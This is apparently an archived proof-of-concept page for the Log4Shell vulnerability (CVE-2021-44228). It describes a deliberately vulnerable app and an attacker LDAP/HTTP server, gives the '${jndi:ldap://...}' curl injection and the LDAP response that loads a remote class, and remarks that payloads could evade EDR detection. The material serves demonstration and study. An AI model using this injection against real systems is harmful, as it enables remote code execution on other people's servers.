Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
log4j2 Log4Shell CVE-2021-44228 proof of concept
Readme
## Log4Shell [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) proof of concept

### Requirement

* Java (JDK/JRE) 8 or later version
* curl

### [exploitable](exploitable)

Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input. Enabling access logging that uses a vulnerable version of log4j2 is sufficient.

How to run:

```sh
cd exploitable
../mvnw -q spring-boot:run
```

By default it listens on port 8080. If you hit http://localhost:8080/ in browser you should see something like:

In [pom.xml](exploitable/pom.xml) you will notice JVM property:

 `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`

 This is not required in older versions of JDK. The default was changed to false in: JDK 11.0.1, 8u191, 7u201, and 6u211. Even without this property, the application is vulnerable to initial LDAP requests which can exfiltrate sensitive data.

![](docs/login.png)

### [hacker](hacker)

Hacker application that serves two purposes:

* Starts a HTTP server on port 9090 to serve vulnerable payloads
* Starts a in-memory LDAP server on port 1389

How to run:

```sh
cd hacker
../mvnw -q spring-boot:run
```

In [pom.xml](hacker/pom.xml) you can change the default payload sent to exploitable applications:

`--class=SayHello` is the default which means it sends `SayHello.class` as payload.

### How to exploit

Send curl request to the exploit application referring the hacker LDAP server in one of the user provided inputs (user name):

```sh
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
```

In the exploitable application console, you should see something like:

![](docs/exploit.png)

### Under the hood

* Attacker sent one of the user input fields as `${jndi:ldap://127.0.0.1:1389}`
* Vulnerable log4j2 embedded in exploitable application does a LDAP request to `127.0.0.1:1389`
* It gets back the following as response:
  ```ldap
  dn:
  objectClass: javaNamingReference
  javaClassName: SayHello
  javaCodeBase: http://127.0.0.1:9090/
  javaFactory: SayHello
  ```
* Application tries to retrieve exploit payload class from http://127.0.0.1:9090/SayHello.class
* Hacker server returns the binary `SayHello.class` bytes
* Application executes the `getObjectInstance` method in the exploit class

### Note

After the initial LDAP request and potentially the download of the exploit Java class, it is not necessary for the exploit to fork a process, make any additional connection to the Internet. Typically these sorts of exploits can be easily detected by EDR products etc. I suspect new exploit payloads will be natively implemented in Java to evade detection.
File Snapshot

[4.0K] /data/pocs/b08997e0360faa833a18899f4e7e97df08473dd8 ├── [4.0K] docs │   ├── [ 20K] exploit.png │   └── [7.2K] login.png ├── [4.0K] exploitable │   ├── [2.9K] pom.xml │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] pasam │   │   └── [4.0K] exploitable │   │   └── [2.5K] Application.java │   └── [4.0K] resources │   └── [ 862] application.properties ├── [4.0K] hacker │   ├── [2.5K] pom.xml │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   ├── [4.0K] com │   │   │   └── [4.0K] pasam │   │   │   └── [4.0K] hacker │   │   │   ├── [3.8K] Ldap.java │   │   │   └── [3.2K] Server.java │   │   └── [1.5K] SayHello.java │   └── [4.0K] resources │   └── [ 862] application.properties ├── [ 11K] LICENSE ├── [9.8K] mvnw ├── [6.5K] mvnw.cmd ├── [1.9K] pom.xml └── [2.7K] README.md 17 directories, 15 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →